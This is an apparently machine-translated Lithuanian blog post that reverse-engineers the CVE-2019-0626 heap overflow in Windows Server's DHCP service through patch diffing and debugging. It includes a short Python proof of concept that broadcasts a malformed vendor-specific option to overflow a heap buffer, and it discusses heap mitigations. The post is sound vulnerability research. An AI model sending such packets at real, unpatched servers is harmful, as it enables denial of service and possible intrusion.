„Windows“ DHCP serverio klaidos analizė (CVE-2019-0626)

Šiandien aš išsamiai parašysiu CVE-2019-0626 ir kaip jį rasti. Kadangi ši klaida egzistuoja tik „Windows Server“, naudosiu „Server 2016 VM“ (atitinkama pataisa yra KB4487026).

Pastaba: šios klaidos neradau aš, ją sukūriau iš 2019 m. vasario mėn. saugos pataisos.

Dvejetainis palyginimas

Atlikau BinDiff palyginimą tarp dhcpssvc.dll versijų prieš pataisą ir po jos. Žemiau matome, kad pasikeitė tik 4 funkcijos (panašumas <1.0).

Dhcpssvc.dll BinDiff palyginimas prieš ir įdiegus pataisą.

Pirmoji funkcija, kurią nusprendžiau pažvelgti, buvo „UncodeOption“. Mano samprotavimas yra toks, kad atrodo, kad tai kažkoks dekoderis, kuris yra dažna klaidų vieta.

Dukart spustelėjus tikslinę funkciją, rodomos dvi greta esančios srauto diagramos. Pradinė funkcija yra kairėje, o atnaujinta – dešinėje. Kiekvienas grafikas padalins funkcijas į loginius surinkimo kodo blokus, panašiai kaip IDA „grafiko vaizdas“.

  • Žalieji blokai yra vienodi abiejose funkcijose.
  • Geltonieji blokai turi tam tikrą instrukcijų variantą tarp funkcijų.
  • Pilkuose blokuose yra naujai pridėtas kodas.
  • Raudonuose blokuose yra pašalintas kodas.
Funkcijų valdymo srauto palyginimas

Anot BinDiff, buvo keli kvartalai modifikuotas. Įdomiausia, kad yra dvi kilpos, kurios abi dabar turi naują kodo bloką. papildomi blokai gali būti jei teiginiai, kuriuose yra papildomų sveikumo patikrinimų; tai atrodo gera vieta pradėti.

Nors BinDiff galima atlikti daugiau analizės, manau, kad sąsaja yra per sudėtinga. Manau, kad jau turiu visą reikalingą informaciją, todėl laikas pasinerti į IDA.

Kodo analizė

Jei turite pilną IDA versiją, galite naudoti dekompiliatorių, kad išvengtumėte surinkimo kodo ieškojimo. Dauguma klaidų bus matomos aukštu lygiu, tačiau labai retais atvejais gali tekti palyginti kodą surinkimo lygiu.

Dėl to, kaip veikia IDA dekompiliatorius, galite rasti pasikartojančių kintamųjų. Pavyzdžiui, „v8“ yra „a2“ kopija, tačiau nė viena reikšmė niekada nekeičiama. Kodą galime išvalyti dešiniuoju pelės mygtuku spustelėdami „v8“ ir pasirinkę susiejimą su kitu kintamuoju. „v8“ susiejant su „a2“, visi „v8“ atvejai bus pakeisti „a2“. Pakartojus visų nereikalingų pasikartojančių kintamųjų atvaizdus bus lengviau skaityti.

Čia yra vienas šalia kito esančio kodo palyginimas po valymo.

Šalutinis pataisytų ir nepataisytų funkcijų palyginimas.

Antrosios kilpos tipas (geltonas langelis) dabar yra „do while“, o ne „for“, kuris dabar atitinka pirmąją kilpą (ciklo formato pakeitimas gali paaiškinti daugumą geltonų blokų BinDiff). Svarbiausia, kad buvo pridėtas visiškai naujas sveiko proto patikrinimas (raudonas langelis). Mėlynoje dėžutėje esantis kodas taip pat buvo supaprastintas, dalis jo perkelta į kilpą.

Kitas mano žingsnis buvo išsiaiškinti, ką iš tikrųjų daro funkcija „UncodeOption“. Dešiniuoju pelės mygtuku spustelėjus funkciją ir pasirinkus „jump to xref…“, pateikiamas kiekvienos nuorodos sąrašas.

Nuorodų į UncodeOption sąrašas

Hmm… Visi „UncodeOption“ iškvietimai gaunami iš „ParseVendorSpecific“ arba „ParseVendorSpecific Content“. Tai veda mane į „Google“ „DHCP tiekėjo specifinis“.

„Google“ automatinis užbaigimas čia užpildė kai kuriuos tarpus. Dabar žinau, kad DHCP turi kažką vadinamo „pardavėjo konkrečiomis parinktimis“. Funkciją, pavadintą „UncodeOption“, iškviečia „ParseVendorSpecific“? Tam tikra prasme reiškia konkrečios pardavėjo parinkties dekodavimą. Taigi, kokia yra konkretaus pardavėjo parinktis?

Pardavėjo specifinės parinktys

Pirmasis „Google“ paieškos „DHCP tiekėjo specifinės parinktys“ rezultatas yra tinklaraščio įrašas, kuriame man pasakyta viskas, ką turėjau žinoti [1]. Labai naudinga, tinklaraščio įrašas paaiškina konkrečių pardavėjo parinkčių paketo formatą.

Formatas paprastas: 1 baito parinkties kodas, po kurio nurodomas 1 baito ilgio specifikacija, o po to – parinkties reikšmė. Dabar mums tereikia išsiųsti bandomąjį paketą.

Atsitiktiniame tinklaraštyje radau naudingą DHCP bandomąjį klientą [2]. Čia yra komandos pavyzdys.

dhcptest.exe – užklausa – parinktis „Pardavėjo specifinė informacija“[str]= „Sveikas pasaulis“

Tai nustato konkrečios pardavėjo parinktį „labas pasaulis“. Dabar galime pamatyti, ar iškviečiamas „UncodeOption“.

Vykdymo laiko analizė

Bandydamas sumažinti kampus, nustatiau lūžio tašką „UncodeOption“. Išsiunčiau DHCP užklausą ir tikėjausi geriausio.

„IDA Pro“ atminties vaizdas

Nuostabu! Nukentėjo lūžio taškas. Atrodo, kad parametrus taip pat lengva suprasti.

  • RCX (1 argumentas) nurodo konkrečios tiekėjo parinkties pradžią.
  • RDX (2 argumentas) nurodo tiekėjo konkrečios parinkties pabaigą.
  • R8 yra 0x2B (pardavėjo pasirinkimo kodas).

Dabar dar kartą peržiūrėsiu dekompiliuotą kodą ir pridėsiu keletą aprašomųjų pavadinimų; Taip pat atspėjau keletą kintamųjų tipų. Konkrečių pardavėjo parinkčių formato žinojimas labai padeda.

Nepataisytas kodas po tam tikro pervadinimo

Kai kurie aprašomieji pavadinimai ir mano naujos žinios apie konkrečias pardavėjo parinktis padėjo suprasti kodą daug lengviau. Aš jį sulaužysiu.

Yra dvi kilpos (pradedant nuo 25 ir 44 eilutės).

Pirmoji kilpa

  1. Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
  2. Gaukite parinkties dydį (2-asis parinkčių buferio baitas), tada prideda jį prie kintamojo, kurį pavadinau Reikalingas_size.
  3. padidina buffer_ptr_1, kad nurodytų parinkčių buferio pabaigą.
  4. Nutrūksta, jei naujas buferis_ptr_1 yra didesnis nei buferio pabaiga (buffer_end).
  5. Baigiamas ciklas, jei „buffer_ptr_1 + parinkties dydis + 2“ yra didesnis nei buffer_end.

Iš esmės kilpa gaus pasirinkimo vertės ilgį (mūsų atveju „labas pasaulis“). Jei buvo išsiųstos kelios konkrečios tiekėjo parinktys, ciklas apskaičiuos bendrą visų reikšmių dydį. Kintamasis „required_size“ naudojamas vėliau paskirstyti krūvos vietą.

Antroji kilpa

  1. Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
  2. Gaukite pasirinkimo dydį (2-asis parinkčių buferio baitas).
  3. Pridėkite parinkties reikšmę prie krūvos vietos (ty „hello world“), nukopijuodami baitų skaičių.
  4. padidina buffer_ptr_2, kad nurodytų parinkčių buferio pabaigą.
  5. Baigiamas ciklas, jei naujas buffer_ptr_2 yra didesnis nei buffer_end.

Kodo paskirtis

Funkcija įgyvendina tipinį masyvo analizatorių. Pirmoji kilpa nuskaitoma į priekį, kad būtų apskaičiuotas buferio dydis, reikalingas masyvo analizei. Tada antroji kilpa analizuoja masyvą į naujai paskirtą buferį.

Klaida

Pažvelgęs į dvi greta esančias kilpos versijas, kai ką pastebėjau.

Lyginimas vienas šalia kito (1 kilpa yra kairėje, 2 kilpa yra dešinėje)

Abi kilpos turi sąlygą, dėl kurios jos išeis, jei buferio rodyklė pasieks masyvo pabaigą (žalią dėžutę). Įdomu tai, kad 1 kilpa turi papildomą varnelę (raudonas langelis). 1 ciklas taip pat nutraukiamas, jei kitas masyvo elementas yra neteisingas (ty dėl jo dydžio rodyklė padidės po masyvo pabaigos). Logikos skirtumas reiškia, kad 1 ciklas patikrins kito masyvo elemento galiojimą prieš jį apdorodamas, o 2 kilpa nukopijuos elementą, tada išeis, nes buffer_ptr_2 yra didesnis nei buffer_end.

Kadangi 1 kilpa yra atsakinga už dydžio apskaičiavimą, paskirstytas buferis paskirs tik galiojančių masyvo elementų dydį. 2 ciklas prieš išeidamas nukopijuos visus galiojančius masyvo elementus, taip pat vieną netinkamą.

Taigi, kas būtų, jei atsiųstume šiuos dalykus?

Kenkėjiškų parinkčių masyvas

Dydžio skaičiavimo ciklas sėkmingai išanalizuoja pirmosios parinkties dydį (0x0B). Tada patvirtinamas kitos parinkties dydis. Atsižvelgiant į tai, kad po parinkties dydžio nėra 0xFF baitų, ji būtų laikoma negaliojančia ir į ją neatsižvelgta. Rezultatas būtų 0x0B (11 baitų) paskirstymo dydis.

Kopijavimo ciklas nukopijuos pirmosios parinkties reikšmę „hello world“. Antroje iteracijoje parinkties dydis nepatvirtintas. Kopijuojant prie buferio bus pridėta 255 baitai (0xFF). Iš viso 266 bus nukopijuoti į 11 baitų krūvos erdvę, perpildant ją 255 baitais.

Kad paskutinis elementas būtų laikomas negaliojančiu, tarp 2-osios parinkties ilgio ir buferio pabaigos turi būti mažiau nei 255 baitai (pasiekiama įdėjus kenkėjišką masyvą DHCP paketo pabaigoje).

Kai ką įdomaus reikia pastebėti: po paskutinės parinkties ilgio galime įrašyti bet kokį baitų skaičių, jei jis mažesnis nei 255. Mes galime perpildyti krūvą iki 254 baitų duomenų, kuriuos nurodome, arba iki 254 baitų bet kokio dydžio. po mūsų paketo krūvoje. Iš esmės galima skaityti ir rašyti už ribų (OOB).

Koncepcijos įrodymas

Kad patikrinčiau klaidą, turėjau sukurti kenkėjišką DHCP paketą. Pradėjau siųsti teisėtą DHCP paketą naudodamas dhcp testą, kurį užfiksavau naudodamas „WireShark“.

„WireShark“ rodomas DHCP paketas

Panašu, kad pardavėjo parinkčių buferis jau yra paketo pabaigoje, puiku! Aš tiesiog ištraukiau šešioliktainį kodą į python scenarijų ir sukūriau paprastą PoC.

Patarimas: galite dešiniuoju pelės mygtuku spustelėti stulpelį „Bootstrap Protocol“, tada pasirinkti „Copy“, tada „..As Escaped String“.

from socket import *
import struct
import os

dhcp_request = (
    "x01x01x06x00xd5xa6xa8x0cx00x00x80x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x63x82x53x63" 
    "x35x01x01x2bx0bx68x65x6cx6cx6fx20x77x6fx72x6cx64xff"
)

dhcp_request = dhcp_request[:-1]        #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254                 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte

s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)    #put socket in broadcast mode

s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67

Tada prie svchost proceso, kuriame yra dhcpssvc.dll, pridėjau derintuvą ir nustatiau kai kuriuos lūžio taškus. Vienas lūžio taškas yra „HeapAlloc“, o kitas – po kopijavimo ciklo. Dabar siunčiu savo kenkėjišką DHCP paketą.

„HeapAlloc“ lūžio taškas pasiektas

„HeapAlloc“ lūžio taške matote, kad paskirstymo dydis yra 0x0B (pakanka vietos tiesiog „labas pasaulis“). Įdomu, kas atsitiks, kai vėl spustelėjame paleisti?

lūžio taško smūgis po kopijavimo

Oi! Analizatorius nukopijavo „hello world“ ir 254 baitus „A“ į tik 11 baitų dydžio krūvą. Tai tikrai perpildymas, bet neturėtume tikėtis gedimo, nebent perrašytume ką nors svarbaus.

Išnaudojamumo svarstymai

Krūvos perpildymai dažnai gali būti panaudoti norint gauti nuotolinį kodo vykdymą (RCE); tačiau pirmiausia reikia įveikti kai kurias kliūtis. Bėgant metams „Microsoft“ palaipsniui įdiegė naujas švelninimo priemones, sumažindamas krūvos perpildymo išnaudojimą. Apibendrinsiu kai kurias svarbias švelninimo priemones, tačiau išsamesnį aprašymą galite pamatyti „TechNet“. [3][4].

„Windows Vista“ ir naujesnės versijos

Dauguma bendrųjų krūvos perpildymo atakų remiasi krūvos metaduomenų klastojimu, siekiant įgyti savavališkas rašymo arba vykdymo galimybes (primityvus). Deja, „Windows Vista“ pridėjo krūvos metaduomenų kodavimą ir patikrinimą. Dabar metaduomenų laukai yra XOR su raktu, o tai labai apsunkina modifikaciją.

Neturėdami galimybės suklastoti krūvos metaduomenų, užpuolikai turi sutelkti dėmesį į pačių krūvos duomenų perrašymą. Vis tiek galima perrašyti objektus, saugomus krūvoje, pvz., klasės egzempliorių; jie gali pateikti tuos pačius primityvus kaip ir metaduomenų klastojimas.

„Windows 8“ ir naujesnės versijos

Paskirstymai, mažesni nei 16 368 baitai, yra vadinami mažo fragmentavimo krūva (LFH). „Windows 8“ prideda LFH paskirstymo atsitiktinių imčių, todėl paskirstymo tvarka tampa daug mažiau nuspėjama. Nesugebėjimas kontroliuoti, kur yra skirtas objektas, perrašymas tampa azartišku žaidimu; tačiau vis dar yra vilties.

Jei objekto paskirstymas yra kontroliuojamas užpuoliko, galima priskirti šimtus kopijų, padidinant sėkmingo perrašymo tikimybę. Žinoma, jūs turite rasti tokį objektą ir jis turi būti naudojamas.

Išvada

Negalėjau skirti tiek laiko šiai klaidai, kiek norėčiau, ir dar turiu rasti RCE metodą naujesnėms sistemoms. Iki šiol pastebėjau keletą TCP sąsajų, kurios gali leisti geriau valdyti krūvą. Darant prielaidą, kad nieko įdomesnio neatsiras, galbūt prie to grįšiu ateityje.

Nuorodos

  1. „Microsoft“ tiekėjui būdingos DHCP parinktys paaiškintos ir demistifikuotos https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/
  2. Pasirinktinis įrankis DHCP užklausoms siųsti https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/
  3. TechNet tinklaraščio įrašas apie ankstyvą krūvos mažinimą https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities/
  4. „TechNet“ tinklaraščio įrašas apie „Windows 8“ ir naujesnių versijų krūvos mažinimą – https://blogs.technet.microsoft.com/srd/2013/10/29/software-defense-mitigating-heap-corruption-vulnerabilities/

Parašykite komentarą

El. pašto adresas nebus skelbiamas.